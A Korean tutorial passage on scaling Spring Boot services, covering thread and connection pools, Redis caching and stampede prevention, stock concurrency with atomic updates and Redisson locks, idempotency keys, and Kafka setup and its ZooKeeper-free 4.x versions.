작업 성격대략의 한 대 처리량
메모리 캐시 응답 (DB 안 감)수천 ~ 수만 RPS
Redis 조회 1회 포함수천 RPS
단순 DB 조회 1~2회수백 ~ 1천 RPS
DB 쓰기 + 트랜잭션수백 RPS
외부 API 대기 포함(블로킹)스레드 수에 갇힘 — 가상 스레드 검토
정확한 값이 목적이 아닙니다. 자릿수가 맞는지 보는 겁니다. “100 RPS 인데 서버 20대”면 뭔가 잘못 짜인 것이고, “5,000 RPS 인데 2대”면 부하 테스트 없이는 못 믿습니다.
SCALE 02

병목은 거의 항상 같은 자리

서버가 느릴 때 볼 곳은 정해져 있습니다. 이 순서대로 확인하세요.

1
톰캣 스레드 풀 (기본 200) 다 차면 요청이 큐에서 기다립니다. 여기서 밀리면 이후 구간을 아무리 봐도 원인이 안 나옵니다.
▼
2
애플리케이션 로직 · 외부 호출 동기 HTTP 호출에 타임아웃이 없으면 스레드가 통째로 묶입니다. 장애 1순위 원인.
▼
3
DB 커넥션 풀 (HikariCP 기본 10) 스레드 200개가 커넥션 10개를 두고 다툽니다. 진짜 한도는 대부분 여기입니다.
▼
4
데이터베이스 인덱스 없는 조회, N+1, 락 경합. CPU 100% 를 만드는 건 보통 쿼리 한 줄입니다.

제일 먼저 보는 설정 세 줄

server:
  tomcat:
    threads:
      max: 200              # 동시에 처리할 요청 수 상한
      min-spare: 20
    accept-count: 100       # 스레드가 다 찼을 때 대기시킬 수 (넘으면 거절)
    connection-timeout: 5s

spring:
  datasource:
    hikari:
      maximum-pool-size: 20         # ★ 스레드보다 이게 진짜 한도
      minimum-idle: 20              # 운영은 max 와 같게 두는 편이 안정적
      connection-timeout: 3000      # 커넥션 못 얻으면 3초 만에 실패 (무한 대기 금지)
      max-lifetime: 1740000         # DB/LB 의 idle timeout 보다 짧게 (29분)
      leak-detection-threshold: 20000  # 커넥션 반납 안 되는 코드 잡기
커넥션 풀은 클수록 좋다? 아닙니다. DB 는 커넥션이 많아질수록 컨텍스트 스위칭·락 경합으로 느려집니다. 경험식은 vCPU × 2 + 디스크 수 근처. WAS 10대라면 10 × pool 크기가 DB 최대 접속 수를 넘지 않는지부터 확인하세요.

증상 → 범인 대조표

증상먼저 의심할 것
CPU 는 놀고 응답만 느림대기 — DB·외부 API·락
CPU 100% 고정비효율 쿼리·직렬화·정규식·GC
가끔 확 튀는 p99GC 정지·캐시 만료 몰림·배치와 겹침
메모리가 계속 증가캐시 무한 증가·ThreadLocal 미정리
Connection is not available커넥션 풀 고갈 (누수 또는 긴 트랜잭션)
스레드는 200 인데 처리량 낮음블로킹 대기 — 가상 스레드·비동기 검토
추측으로 튜닝하지 마세요. “스레드를 500으로 늘렸더니 더 느려졌다”는 흔한 실패담입니다. 늘려야 할 것은 대개 스레드가 아니라 처리 속도입니다. k15 부하 테스트로 먼저 재고, 그다음에 한 번에 하나씩 바꾸세요.
병목은 거의 항상 이 다섯 중 하나입니다 1 앞단 대기 — 아직 내 코드에 안 왔습니다 확인 — 스레드 풀 큐 길이 · 동시 요청 수. 서버 대수나 스레드가 부족한 상태입니다 2 커넥션 풀 대기 — 쿼리 시간과 다른 문제입니다 확인 — 풀 대기 시간 지표. 대기가 길면 인덱스가 아니라 붙잡고 있는 코드를 찾아야 합니다 3 느린 쿼리 · N+1 확인 — 슬로우 쿼리 로그와 요청당 쿼리 개수. 목록 화면이면 N+1 부터 의심하세요 4 외부 API 대기 — 내가 못 고치는 구간 확인 — 호출별 소요 시간 분포. 타임아웃 · 재시도 · 서킷 브레이커로 격리합니다 5 GC 멈춤 — 자바 특유의 지점 확인 — GC 로그와 멈춤 시간. 오래 사는 객체가 늘고 있는지 함께 보세요 평균이 아니라 p95 · p99 를 보세요 — 평균 80ms 라도 백 명 중 한 명은 4초를 기다립니다
성능 작업의 첫 단계는 최적화가 아니라 범인을 한 칸으로 좁히는 것입니다.
SCALE 03

캐시 전략 총정리

트래픽 대응의 가장 저렴하고 효과 큰 수단입니다. 대신 정합성을 내줍니다.

읽기 패턴 — 실무는 사실상 이것 하나

[Cache-Aside / Look-aside]  ★ 90% 는 이걸 씁니다

  1. 캐시 확인 → 있으면 그대로 반환 (HIT)
  2. 없으면 DB 조회                    (MISS)
  3. 캐시에 넣고 반환

장점  캐시가 죽어도 서비스는 산다 (DB 로 흐름)
단점  MISS 시 한 번은 느리다, 정합성은 TTL 에 맡긴다

쓰기 패턴

방식동작과 쓰임
Write-AroundDB 만 쓰고 캐시는 지운다. 가장 안전 — 기본값으로 삼으세요
Write-ThroughDB·캐시 동시 갱신. 일관되지만 쓰기가 느려짐
Write-Back캐시에 먼저 쓰고 나중에 DB 반영. 빠르지만 유실 위험 — 조회수 같은 데만
갱신할 때는 “고치지 말고 지우세요”(evict). 캐시를 새 값으로 덮어쓰면 동시 수정 시 오래된 값이 나중에 덮는 사고가 납니다. 지워 두면 다음 조회가 DB 에서 최신을 가져옵니다.

스프링 캐시 추상화 — 코드는 이게 끝

@EnableCaching            // 부트 클래스에 한 번
@Configuration
class CacheConfig {
    @Bean
    CacheManager cacheManager(RedisConnectionFactory cf) {
        var json = new GenericJackson2JsonRedisSerializer();
        var base = RedisCacheConfiguration.defaultCacheConfig()
            .entryTtl(Duration.ofMinutes(10))
            .disableCachingNullValues()      // null 저장 금지
            .serializeValuesWith(SerializationPair.fromSerializer(json));

        return RedisCacheManager.builder(cf)
            .cacheDefaults(base)
            .withCacheConfiguration("product",         // 캐시별 TTL 따로
                base.entryTtl(Duration.ofMinutes(30)))
            .build();
    }
}

@Service
class ProductService {

    // 위에서 null 저장을 막았으므로 null 결과는 넣지 말라고 알려 줘야 합니다
    // (빠뜨리면 없는 id 를 조회할 때 "does not allow 'null' values" 예외)
    @Cacheable(value = "product", key = "#id", unless = "#result == null")
    public ProductDto find(Long id) { ... }        // 결과를 캐싱

    @CacheEvict(value = "product", key = "#dto.id")
    public void update(ProductDto dto) { ... }     // 바뀌면 지운다

    @CacheEvict(value = "product", allEntries = true)
    public void reloadAll() { ... }                // 통째로 비우기
}
같은 클래스 안에서 부르면 캐시가 안 먹습니다. @Cacheable 은 프록시로 동작해서 내부 호출은 프록시를 안 거칩니다 (@Transactional 과 똑같은 함정 — 🧬 고급 탭 a11 참고).

무엇을 캐시할지 · 하지 말지

캐시하면 효과가 큰 것
  • 읽기가 압도적으로 많고 잘 안 바뀌는 것 — 상품 상세, 카테고리, 설정
  • 계산이 비싼 것 — 집계·랭킹·추천 결과
  • 외부 API 응답 — 환율, 날씨, 배송사 코드
  • 권한·회원 정보처럼 매 요청마다 조회되는 것
캐시하면 사고 나는 것
  • 돈·재고 같은 정합성이 생명인 값 — 캐시된 재고로 판매 결정 금지
  • 사용자마다 다르고 한 번만 보는 데이터 — 적중률 0, 메모리만 먹음
  • 개인정보 — 넣는다면 TTL 짧게·암호화. Redis 는 평문 저장입니다
  • 이미 1ms 인 쿼리 — 네트워크 왕복이 더 비쌉니다
SCALE 04

Redis 실전

캐시로만 쓰기엔 아깝습니다. 자료구조를 고르는 게 절반입니다.

용도별 자료구조 고르기

타입이럴 때 씁니다
String캐시 값, 카운터(INCR), 분산 락
Hash객체의 일부 필드만 갱신 — 세션, 프로필
List간단한 큐, 최근 목록 (LPUSH+LTRIM)
Set중복 제거, 오늘 방문자, 태그
Sorted Set랭킹·순위·시간순 큐. 실시간 리더보드의 정답
Bitmap출석 체크·활성 사용자 — 1인 1비트, 100만 명에 125KB
HyperLogLog순 방문자 근사 집계 — 오차 0.81%, 메모리 12KB 고정
Stream가벼운 이벤트 큐 (컨슈머 그룹 지원)
// 실시간 랭킹 — Sorted Set 이면 코드가 세 줄
zset.incrementScore("rank:20260804", "product:12", 1);           // 점수 +1
Set<TypedTuple<String>> top = zset.reverseRangeWithScores("rank:20260804", 0, 9);
Long myRank = zset.reverseRank("rank:20260804", "product:12");   // 내 등수

// 오늘 순 방문자 (100만 명이어도 12KB)
hll.add("uv:20260804", userId);
Long uv = hll.size("uv:20260804");

스프링 설정 — 실무 기본형

@Configuration
class RedisConfig {
    @Bean
    RedisTemplate<String, Object> redisTemplate(RedisConnectionFactory cf) {
        var t = new RedisTemplate<String, Object>();
        t.setConnectionFactory(cf);
        t.setKeySerializer(new StringRedisSerializer());        // ★ 안 하면 키가
        t.setHashKeySerializer(new StringRedisSerializer());    //   \xac\xed... 로 보임
        t.setValueSerializer(new GenericJackson2JsonRedisSerializer());
        return t;
    }
}
spring:
  data:
    redis:
      host: ${REDIS_HOST}
      port: 6379
      timeout: 2s                 # ★ 명시 필수
      lettuce:
        pool:
          max-active: 16
          max-idle: 16
          min-idle: 4
          max-wait: 1s            # 무한 대기 금지
운영에서 절대 치면 안 되는 명령 — KEYS *, FLUSHALL, 큰 HGETALL. Redis 는 싱글 스레드라 한 명령이 오래 걸리면 모든 요청이 그동안 멈춥니다. 키 훑기는 SCAN 으로, 대량 삭제는 UNLINK 로 하세요.

알아 두면 사고를 막는 것들

키 이름 규칙 · TTL

서비스:도메인:식별자[:버전]
  order:detail:12345
  user:session:ab12cd
  product:list:cat=3:page=1:v2      # 구조 바뀌면 v3 로 (안전한 무효화)

규칙
· TTL 없는 키를 만들지 마세요 → 언젠가 메모리가 찹니다
· 값 하나가 100KB 를 넘으면 설계를 다시 보세요 (Big Key)
· 한 키에 원소 수만 개 = Big Key. 조회 한 번이 Redis 를 멈춥니다
메모리 정책은 maxmemory-policy allkeys-lru 로 두는 경우가 많습니다. 캐시가 아니라 큐·락 용도로도 같은 Redis 를 쓰고 있다면 LRU 가 그것들까지 지워 버립니다 — 용도별로 인스턴스를 나누세요.

파이프라인 — 왕복을 줄이는 법

// 나쁨: 1,000번 네트워크 왕복 (1ms × 1000 = 1초)
for (var id : ids) redis.opsForValue().get("p:" + id);

// 좋음: 한 번에 보내기
List<String> keys = ids.stream().map(id -> "p:" + id).toList();
List<Object> values = redis.opsForValue().multiGet(keys);   // MGET

// 서로 다른 명령을 묶을 때는 파이프라인
redis.executePipelined((RedisCallback<Object>) conn -> {
    for (var id : ids) conn.stringCommands().get(("p:" + id).getBytes());
    return null;
});
Redis 가 느린 게 아니라 왕복이 느립니다. Redis 자체는 명령 하나에 마이크로초 단위입니다. 느리다면 대부분 N번 호출하고 있거나 Big Key 를 만지고 있습니다.
SCALE 05

캐시가 서비스를 죽이는 세 가지

캐시를 넣어서 생긴 장애는 캐시를 안 넣었을 때보다 큽니다. 이름을 알아 두세요.

이름은 셋이지만 끝은 같다 — 막아 주던 캐시가 사라지고 요청이 통째로 DB 로 쏟아진다 ① 스탬피드 ② 관통 ③ 눈사태 · 핫키 요청 3,000개 없는 id 를 계속 조회 배포 · 재시작 전부 동시에 MISS 인기 키의 TTL 이 같이 끝남 캐시에 영원히 없음 「없음」을 저장하지 않아서 모든 키가 한꺼번에 빔 또는 한 키에만 몰림(핫키) DB 에 같은 쿼리 3,000번 매 요청이 DB 까지 DB · 한 노드에 집중 막는 법 — 각각 한 줄 TTL 흩뿌리기 · 한 명만 재계산 「없음」도 짧게 캐시 · 블룸 필터 기동 워밍업 · 로컬 캐시 한 겹
셋 다 「캐시가 비는 순간」이 원인입니다 — 언제 비는지를 흩뿌리는 것이 공통 해법입니다.

① 캐시 스탬피드 (Thundering Herd)

인기 상품 캐시가 만료되는 그 순간
  → 동시에 들어온 요청 3,000개가 전부 MISS
  → 3,000개가 동시에 같은 DB 쿼리를 날림
  → DB CPU 100% · 커넥션 고갈 · 전 서비스 마비

막는 법 세 가지

  • TTL 을 흩뿌리기 — 10분 + random(0~60초). 한 줄이면 되고 효과가 큽니다
  • 재계산은 한 명만 — 분산 락을 잡은 요청만 DB 로, 나머지는 잠깐 기다리거나 옛 값을 씁니다
  • 미리 갱신 — 남은 TTL 이 10% 미만이면 백그라운드로 먼저 새로 채웁니다
public ProductDto find(Long id) {
    String key = "product:" + id;
    var hit = redis.opsForValue().get(key);
    if (hit != null) return (ProductDto) hit;

    // MISS — 락을 얻은 하나만 DB 로 간다
    String lockKey = "lock:" + key;
    Boolean got = redis.opsForValue()
        .setIfAbsent(lockKey, "1", Duration.ofSeconds(3));

    if (Boolean.TRUE.equals(got)) {
        try {
            var dto = repository.findDto(id);
            long ttl = 600 + ThreadLocalRandom.current().nextInt(60);   // ★ 흩뿌리기
            redis.opsForValue().set(key, dto, Duration.ofSeconds(ttl));
            return dto;
        } finally { redis.delete(lockKey); }   // DB 조회가 3초를 넘기면 남의 락을 지울 수 있음 — 엄밀함이 필요하면 k06 Redisson
    }
    // 못 얻은 요청은 캐시가 채워질 때까지 짧게 여러 번 다시 본다 (최대 약 1초)
    // — 한 번만 보고 DB 로 가면, 쿼리가 50ms 보다 느릴 때 나머지 요청이 전부 DB 로 몰립니다
    for (int i = 0; i < 20; i++) {
        try { Thread.sleep(50); }
        catch (InterruptedException e) { Thread.currentThread().interrupt(); break; }
        var retry = redis.opsForValue().get(key);
        if (retry != null) return (ProductDto) retry;
    }
    return repository.findDto(id);   // 그래도 없으면 최후의 수단
}

② 캐시 관통 (Penetration)

존재하지 않는 id 를 계속 조회 (봇·공격·버그)
  → 캐시에는 영원히 없음 → 매번 DB 로 통과
  → 캐시를 넣은 의미가 사라짐

막는 법
· "없음"도 캐시한다 (짧은 TTL, 예: 30초)
· 입력값 검증 — 범위 밖 id 는 DB 까지 가지 않게
· 대규모라면 블룸 필터로 "확실히 없는 것"을 먼저 거른다
// "없음"을 캐시하는 가장 간단한 형태
var cached = redis.opsForValue().get(key);
if ("__NULL__".equals(cached)) return null;          // 없음이 확정
if (cached != null) return (ProductDto) cached;

var dto = repository.findDto(id);
if (dto == null) {
    redis.opsForValue().set(key, "__NULL__", Duration.ofSeconds(30));
    return null;
}
redis.opsForValue().set(key, dto, Duration.ofMinutes(10));
return dto;

③ 캐시 눈사태 (Avalanche) · 핫키

  • 눈사태 — 배포/재시작으로 캐시를 통째로 비우면 모든 키가 동시에 MISS. 배포 직후 DB 가 죽는 전형적인 패턴입니다. 워밍업(기동 시 인기 데이터 미리 적재)으로 막습니다
  • 핫키 — 특정 키 하나에 요청이 몰려 그 키가 있는 Redis 노드만 터집니다. 티켓 오픈·라이브 방송에서 자주 봅니다
  • 핫키 대응 — 로컬 캐시(Caffeine) 한 겹 더. 서버 메모리에서 끝내면 Redis 왕복 자체가 사라집니다
// 2단 캐시: 로컬(초 단위) → Redis(분 단위) → DB
@Bean
CaffeineCacheManager localCache() {
    var m = new CaffeineCacheManager("hotProduct");
    m.setCaffeine(Caffeine.newBuilder()
        .maximumSize(10_000)
        .expireAfterWrite(Duration.ofSeconds(5)));   // ★ 짧게 — 정합성 손실 최소화
    return m;
}
로컬 캐시는 서버마다 값이 다릅니다. 10대라면 최대 5초 동안 10가지 답이 나갈 수 있습니다. “5초 늦어도 되는 데이터”에만 쓰세요. 재고·잔액에는 쓰지 않습니다.
SCALE 06

동시성 제어 — 재고가 마이너스가 되는 이유

서버가 여러 대가 되는 순간 synchronized 는 아무 의미가 없습니다.

재고 1개 · 서버 두 대가 거의 같은 순간에 읽는다 — 시간은 왼쪽에서 오른쪽으로 t1 t2 t3 t4 서버 A SELECT → 1 재고 있다고 판단 UPDATE → 0 주문 생성 서버 B SELECT → 1 아직 안 줄었다 UPDATE → 0 주문 생성 DB 재고 1 1 0 0 1개를 두 명에게 팔았다 — 100명이 몰리면 재고 -37 같은 숫자가 실제로 남는다 고치는 법 — 「읽고 → 판단하고 → 쓰기」를 한 문장으로 합친다 update stock set qty = qty - :n where id = :id and qty >= :n 바뀐 행이 0건이면 재고 부족 — 판단이 UPDATE 안으로 들어가면 락 자체가 필요 없다
사고는 읽기와 쓰기 사이의 틈에서 납니다 — 그 틈을 없애는 것이 가장 싼 해법입니다.

무슨 일이 벌어지나

재고 1개 · 동시에 100명이 주문

서버A 스레드1: SELECT 재고 → 1
서버B 스레드7: SELECT 재고 → 1     ← 아직 아무도 안 줄임
서버A: 1 > 0 이므로 주문 생성, UPDATE 재고 = 0
서버B: 1 > 0 이므로 주문 생성, UPDATE 재고 = 0

→ 1개를 2명에게 팔았고, 재고는 0
→ 100명이면 재고 -37 같은 숫자가 실제로 남습니다
synchronized 는 JVM 하나 안에서만 유효합니다. 서버가 2대면 이미 못 막습니다. 게다가 @Transactional 안에서 락을 걸면 커밋 전에 락이 풀려 그 틈에 다른 요청이 옛 값을 읽습니다.

고르는 기준

방법언제
낙관적 락
(@Version)
충돌이 드물 때. 실패하면 재시도. 가장 가볍습니다
비관적 락
(FOR UPDATE)
충돌이 잦을 때. 정확하지만 DB 에 부하가 몰립니다
분산 락
(Redisson)
DB 밖 자원까지 묶어야 할 때. 외부 API·파일·여러 DB
원자적 연산단순 증감이면 락 없이 — 가장 빠릅니다

락 없이 끝내기 — 제일 먼저 검토할 것

// ① DB 한 줄로 원자적 차감 — 조건을 UPDATE 안에 넣는다
@Modifying
@Query("""
    update Stock s set s.quantity = s.quantity - :qty
    where s.productId = :pid and s.quantity >= :qty
""")
int decrease(@Param("pid") Long pid, @Param("qty") int qty);

// 반환값이 0 이면 재고가 부족했던 것 — 예외로 바꿔 준다
if (stockRepository.decrease(pid, qty) == 0)
    throw new OutOfStockException(pid);
// ② Redis 원자 연산 — 선착순/쿠폰에 잘 맞는다
Long left = redis.opsForValue().decrement("stock:" + pid, qty);
if (left < 0) {
    redis.opsForValue().increment("stock:" + pid, qty);   // 되돌리기
    throw new OutOfStockException(pid);
}
정합성이 필요한 곳에서 “읽고 → 판단하고 → 쓰기”를 하지 마세요. 그 세 단계 사이가 전부 사고 구간입니다. 판단을 UPDATE 문 안으로 밀어 넣으면 락이 아예 필요 없어집니다.

낙관적 락 — 충돌이 드물 때

@Entity
class Stock {
    @Id Long id;
    int quantity;
    @Version Long version;      // ★ 이 한 줄이면 끝
}
// UPDATE ... WHERE id=? AND version=?  → 0건이면 OptimisticLockException

@Retryable(retryFor = ObjectOptimisticLockingFailureException.class,
           maxAttempts = 3, backoff = @Backoff(delay = 50))
@Transactional
public void order(Long id, int qty) { ... }

분산 락 — Redisson 이 사실상 표준

직접 만들면 반드시 틀립니다

// ❌ 흔한 잘못된 분산 락
if (redis.opsForValue().setIfAbsent(key, "1")) {   // TTL 없음 → 서버 죽으면 영구 잠김
    try { work(); }
    finally { redis.delete(key); }                 // 남의 락을 지울 수 있음
}

빠진 것
· TTL (프로세스가 죽으면 락이 영원히 남는다)
· 소유자 확인 (내가 건 락인지 보고 지워야 한다)
· 작업이 TTL 보다 길어질 때의 연장(watchdog)
· 재진입(같은 스레드가 또 잡는 경우)
implementation("org.redisson:redisson-spring-boot-starter:4.6.1")

Redisson — 위 문제를 전부 해결해 줍니다

@Service
@RequiredArgsConstructor
public class OrderService {
    private final RedissonClient redisson;
    private final StockService stockService;      // ★ 별도 빈

    public void order(Long productId, int qty) {
        RLock lock = redisson.getLock("lock:stock:" + productId);
        boolean got = false;
        try {
            // 최대 3초 기다리고, 잡으면 자동 연장(watchdog)
            got = lock.tryLock(3, TimeUnit.SECONDS);
            if (!got) throw new BusyException("잠시 후 다시 시도해 주세요");

            stockService.decreaseInTx(productId, qty);   // 트랜잭션은 안쪽에

        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
            throw new IllegalStateException(e);
        } finally {
            if (got && lock.isHeldByCurrentThread()) lock.unlock();
        }
    }
}
락 획득 → 트랜잭션 시작 → 커밋 → 락 해제 순서를 지키세요. @Transactional 메서드 안에서 락을 잡으면 커밋보다 락 해제가 먼저 일어나 그 사이에 다른 요청이 옛 값을 읽습니다. 위 코드처럼 락은 바깥, 트랜잭션은 안쪽 별도 빈이 정석입니다.
SCALE 07

멱등성 — 두 번 눌러도 한 번만

대규모에서는 같은 요청이 두 번 오는 게 정상입니다. 그걸 전제로 설계하세요.

중복은 왜 생기나

  • 사용자가 결제 버튼을 두 번 눌렀다
  • 응답이 늦어 클라이언트가 타임아웃으로 재시도했다 (서버는 이미 처리 완료)
  • 게이트웨이·로드밸런서가 자동 재시도했다
  • Kafka 컨슈머가 리밸런싱으로 같은 메시지를 다시 받았다 (at-least-once)
  • 배치가 실패해 재실행됐다
“재시도하면 되지”가 곧 “중복 결제”입니다. 재시도 로직(k11)을 넣는 순간 멱등성은 선택이 아니라 필수 조건이 됩니다. 둘은 항상 같이 설계해야 합니다.

HTTP 메서드별 성질

메서드여러 번 호출하면
GET · HEAD원래 안전 — 그냥 재시도해도 됩니다
PUT · DELETE설계상 멱등 — 같은 결과가 되게 만들어야 합니다
POST기본적으로 비멱등 — 키를 직접 만들어 막아야 합니다

Idempotency-Key — 업계 표준 방식

클라이언트가 요청마다 UUID 를 헤더에 담아 보냅니다.
재시도할 때는 같은 키를 그대로 보냅니다.

POST /api/payments
Idempotency-Key: 5f2c9e18-...          ← 재시도해도 동일

서버
  1. 키가 처음이면 → 처리하고 결과를 저장
  2. 키가 이미 있고 완료 상태면 → 저장된 결과를 그대로 반환
  3. 키가 있고 처리 중이면 → 409 Conflict (또는 잠깐 대기)
@RestController
@RequiredArgsConstructor
class PaymentController {
    private final StringRedisTemplate redis;
    private final PaymentService service;

    @PostMapping("/api/payments")
    public ResponseEntity<?> pay(
            @RequestHeader("Idempotency-Key") String key,
            @RequestBody @Valid PayRequest req) {

        String k = "idem:pay:" + key;
        // 선점: 처음 온 요청만 true
        Boolean first = redis.opsForValue()
            .setIfAbsent(k, "PROCESSING", Duration.ofHours(24));

        if (!Boolean.TRUE.equals(first)) {
            String saved = redis.opsForValue().get(k);
            if ("PROCESSING".equals(saved))            // 아직 처리 중
                return ResponseEntity.status(409).body("처리 중입니다");
            return ResponseEntity.ok(read(saved));      // 저장된 결과 재사용
        }

        try {
            PayResult r = service.pay(req);
            redis.opsForValue().set(k, write(r), Duration.ofHours(24));
            return ResponseEntity.ok(r);
        } catch (Exception e) {
            redis.delete(k);                            // ★ 실패는 지워 재시도 허용
            throw e;
        }
    }
}
돈이 걸린 곳은 Redis 말고 DB 유니크 제약도 함께 거세요. unique (idempotency_key) 한 줄이면 Redis 가 날아가도 중복 삽입이 DB 단에서 막힙니다. Redis 는 빠른 1차 방어, DB 제약이 최후의 방어선입니다.

메시지 소비의 멱등성

처리 이력 테이블 — 가장 확실한 방법

create table processed_message (
  message_id   varchar(64) primary key,   -- ★ 유니크가 곧 방어선
  consumer     varchar(64) not null,
  processed_at timestamp   not null default now()
);
create index idx_pm_at on processed_message (processed_at);  -- 오래된 것 정리용
@Transactional
public void handle(OrderEvent e) {
    // save() 후 중복 예외를 잡는 방식은 안 됩니다 — JPA 는 INSERT 를 커밋(flush) 때 보내고,
    // id 를 직접 넣은 엔티티는 merge 로 처리돼 중복이어도 예외가 안 날 수 있으며,
    // 예외가 나도 트랜잭션이 rollback-only 가 됩니다. 그래서 "넣어 보고 몇 건 들어갔나"로 판정합니다
    int inserted = processedRepo.insertIfAbsent(e.messageId(), "order-consumer");
    if (inserted == 0) {
        log.info("이미 처리한 메시지 {} — 건너뜁니다", e.messageId());
        return;                                     // ★ 조용히 성공 처리
    }
    orderService.apply(e);      // 같은 트랜잭션 → 실패하면 이력도 롤백
}

// Repository
@Modifying
@Query(value = """
    insert into processed_message (message_id, consumer, processed_at)
    values (:id, :consumer, now())
    on conflict (message_id) do nothing
    """, nativeQuery = true)            // MySQL 이면 insert ignore
int insertIfAbsent(@Param("id") String id, @Param("consumer") String consumer);

더 나은 방법 — 애초에 멱등한 연산으로

비멱등 — 두 번 오면 틀림
update account
   set balance = balance - 1000
 where id = 7;
멱등 — 몇 번 와도 같음
insert into ledger
  (tx_id, account_id, amount)
values ('tx-99', 7, -1000)
on conflict (tx_id) do nothing;
상태를 “증감”이 아니라 “사실의 기록”으로 바꾸면 중복이 자연히 무해해집니다. 잔액은 원장(ledger)의 합으로 계산하고, 원장에는 거래 ID 유니크를 겁니다. 금융권에서 실제로 쓰는 형태입니다.
두 번 들어와도 한 번만 — 키 하나로 해결합니다 결제 요청 ① key: a1b2-c3d4 재시도 · 중복 클릭 ② key: a1b2-c3d4 (같음) 키를 먼저 기록합니다 이미 있으면 처리하지 않음 처음 → 실제 결제 후 결과 저장 두 번째 → 저장된 결과를 그대로 키는 클라이언트가 만듭니다 화면에 진입할 때 UUID 를 하나 만들어 두고, 재시도할 때도 같은 키를 그대로 보냅니다 서버가 만들면 재시도를 구분할 방법이 없습니다 저장은 트랜잭션 안에서 키 기록과 실제 처리가 같은 트랜잭션이어야 합니다 유니크 제약을 걸어 두면 동시 요청도 하나만 통과합니다 보관 기간을 정하세요 — 무한히 쌓이면 그 자체가 부담
네트워크는 언제든 재시도합니다 — 중복은 막는 것이 아니라 무해하게 만듭니다.
SCALE 08

Kafka — 왜 큐를 넣는가

동기 호출을 줄이면 응답은 빨라지고 장애는 번지지 않습니다.

동기 호출의 한계

[동기] 주문 API 하나에 전부 매달린 경우
  주문 저장 120ms + 쿠폰 80ms + 포인트 90ms
  + 알림톡 300ms + 정산 150ms  =  740ms
  → 알림톡 업체가 죽으면 "주문 자체가" 실패한다

[비동기] 이벤트를 던지고 끝
  주문 저장 120ms + 발행 3ms  =  123ms
  쿠폰·포인트·알림·정산은 각자 구독해서 처리
  → 알림톡이 죽어도 주문은 정상, 복구되면 밀린 것부터 처리

Kafka 용어 — 이 다섯 개면 됩니다

용어뜻
토픽메시지가 쌓이는 이름 (예: order.created)
파티션토픽을 쪼갠 단위. 병렬 처리의 최소 단위이자 순서 보장의 범위
컨슈머 그룹같은 그룹은 일을 나눠 갖고, 다른 그룹은 같은 걸 각자 다 받습니다
오프셋어디까지 읽었는지 표시. 커밋해야 다음부터 안 읽습니다
키같은 키 = 같은 파티션 = 순서 보장. 주문번호·사용자ID 를 씁니다
컨슈머 수는 파티션 수를 넘을 수 없습니다. 파티션 3개에 컨슈머 5개를 띄우면 2개는 놉니다. 처리량을 늘리려면 파티션부터 늘려야 하고, 파티션은 줄일 수 없으니 넉넉히(예: 예상 컨슈머 수의 2배) 잡습니다.

스프링에서 쓰기 — 설정

implementation("org.springframework.kafka:spring-kafka")
spring:
  kafka:
    bootstrap-servers: ${KAFKA_BROKERS}
    producer:
      acks: all                     # ★ 리더+팔로워까지 확인 (유실 방지)
      retries: 3
      properties:
        enable.idempotence: true    # ★ 중복 발행 방지
        max.in.flight.requests.per.connection: 5
      key-serializer:   org.apache.kafka.common.serialization.StringSerializer
      value-serializer: org.springframework.kafka.support.serializer.JsonSerializer
    consumer:
      group-id: order-service
      auto-offset-reset: latest     # 새 그룹이 어디부터 읽을지 (earliest = 처음부터)
      enable-auto-commit: false     # ★ 수동 커밋 (처리 성공 후에만)
      max-poll-records: 100
      key-deserializer:   org.apache.kafka.common.serialization.StringDeserializer
      value-deserializer: org.springframework.kafka.support.serializer.JsonDeserializer   # 없으면 String 으로 와서 OrderCreated 변환 실패
      properties:
        max.poll.interval.ms: 300000   # 이 시간 넘게 처리하면 그룹에서 쫓겨납니다
        spring.json.trusted.packages: "com.myapp.event"
    listener:
      ack-mode: manual              # 리스너에서 직접 ack
      concurrency: 3                # ★ 파티션 수 이하로
// 발행
@Service
@RequiredArgsConstructor
class OrderEventPublisher {
    private final KafkaTemplate<String, Object> kafka;

    public void publish(OrderCreated e) {
        // ★ 키를 주문번호로 → 같은 주문의 이벤트는 항상 같은 파티션 = 순서 보장
        kafka.send("order.created", e.orderId(), e)
             .whenComplete((res, ex) -> {
                 if (ex != null) log.error("발행 실패 {}", e.orderId(), ex);
             });
    }
}

// 구독
@Component
class PointConsumer {
    @KafkaListener(topics = "order.created", groupId = "point-service")
    public void on(OrderCreated e, Acknowledgment ack) {
        try {
            pointService.give(e.userId(), e.amount());
            ack.acknowledge();                 // ★ 성공했을 때만 커밋
        } catch (Exception ex) {
            log.error("포인트 적립 실패 {}", e.orderId(), ex);
            throw ex;                          // 재처리·DLQ 로 넘어감
        }
    }
}

브로커 버전 — Kafka 4.x 에는 ZooKeeper 가 없습니다

옛날 자료에는 "Kafka 를 띄우려면 ZooKeeper 부터 띄운다" 가 반드시 나옵니다.
★ 이제 아닙니다. deprecated 가 아니라 코드에서 완전히 "제거" 됐습니다.

  3.x 까지   ZooKeeper 앙상블 + 브로커       (메타데이터를 ZK 가 보관)
  3.5~3.9    KRaft 와 ZooKeeper 를 둘 다 지원 (마이그레이션 기간)
  4.0 부터   ★ ZooKeeper 제거 — KRaft 만 남음
  현행       4.2.0 (2026-02)

KRaft = Kafka 가 스스로 Raft 합의로 메타데이터를 관리하는 방식
  · 프로세스 종류가 하나로 줄어 운영·모니터링 대상이 절반이 됩니다
  · 파티션 수십만 개에서도 컨트롤러 페일오버가 수 초 → 수백 ms
  · 컨트롤러 쿼럼은 홀수(보통 3) — 작은 클러스터는 broker 와 겸할 수 있습니다
    (KAFKA_PROCESS_ROLES=broker,controller)
3.x → 4.x 는 “바로” 못 올립니다. 4.0 에는 ZooKeeper 코드가 아예 없으므로 마이그레이션 기능도 없습니다. ★ 순서는 ① 3.9(브리지 릴리스)로 먼저 올리고 → ② 거기서 KRaft 로 전환한 뒤 → ③ 4.x 로 업그레이드 입니다. ZooKeeper 를 쓰는 3.x 클러스터를 그대로 4.x 로 올리면 브로커가 기동하지 않습니다.
# 관리 명령의 --zookeeper 옵션도 함께 사라졌습니다 → 전부 --bootstrap-server 기준
# ❌ 옛 방식 (4.x 에서 "unrecognized option" 으로 실패)
kafka-topics.sh --zookeeper zk1:2181 --list
kafka-configs.sh --zookeeper zk1:2181 --describe --entity-type brokers

# ✅ 지금 방식
kafka-topics.sh   --bootstrap-server kafka1:9092 --list
kafka-topics.sh   --bootstrap-server kafka1:9092 --create --topic order.created \
                  --partitions 6 --replication-factor 3
kafka-configs.sh  --bootstrap-server kafka1:9092 --describe --entity-type brokers
